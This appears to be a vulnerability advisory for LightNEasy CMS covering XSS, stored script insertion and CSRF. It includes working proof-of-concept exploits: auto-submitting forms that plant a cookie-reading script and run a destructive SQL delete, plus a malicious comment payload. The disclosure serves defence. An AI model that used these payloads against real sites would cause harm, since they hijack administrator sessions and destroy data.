Multiple Vulnerabilities in LightNEasy CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LightNEasy CMS which could be exploited to perform script insertion, cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in LightNEasy CMS
1.1 The vulnerability exists due to input sanitation error in the "footer" parameter in LightNEasy/admin.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires victim to be logged-in as an administrator.
Exploitation example:
<form action="http://host/LightNEasy.php?do=setup" method="post" name="main">
<input type="hidden" name="password" value="" />
<input name="admin" type="hidden" value='admin' />
<input type="hidden" name="email" value="example@example.com" />
<input type="hidden" name="wemail" value="example@example.com" />
<input type="hidden" name="restricted" value="" />
<input type="hidden" name="homepath" value="./" />
<input type="hidden" name="template" value="lightneasy" />
<input type="hidden" name="title" value="site title" />
<input type="hidden" name="subtitle" value="site subtitle" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="author" value="" />
<input type="hidden" name="footer" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="timeoffset" value="0" />
<input type="hidden" name="dateformat" value="%m/%d/%y - %I:%M %p" />
<input type="hidden" name="indexfile" value="LightNEasy.php" />
<input type="hidden" name="language" value="en_US" />
<input type="hidden" name="langeditor" value="en" />
<input type="submit" name="submit" value="Save Setup" id="mybtn" />
</form>
<script>
document.getElementById("mybtn").click();
</script>

2) Script insertion vulnerability in LightNEasy CMS
An input sanitation error exists in the "commentmessage" field in LightNEasy/common.php. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when the user reads published comments.
Exploitation example:
The attacker can leave his comment on the following page:
"http://host/LightNEasy.php?page=news"
And fill in the form as follows:
Your name: example
Your e-mail: example@example.com
Your comment: <script>alert(document.cookie)</script>
Code: Enter Captcha code
After the comment is published the malicious code will be executed on the following page:
http://example.com/LightNEasy.php?page=news&id=1&showcomments=1

3) Cross-site request forgery (CSRF) in LightNEasy CMS
The vulnerability exists due to insufficient validation of the request origin in LightNEasy/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary SQL commands in application`s database.
Exploitation example:
<form action="http://host/LightNEasy.php?do=database" method="post" name="main">
<input type="hidden" name="query" value="delete from lne_menu where m3=1" />
<input type="submit" name="submit" value="Query Database" id="mybtn" />
</form>
<script>
document.getElementById("mybtn").click();
</script>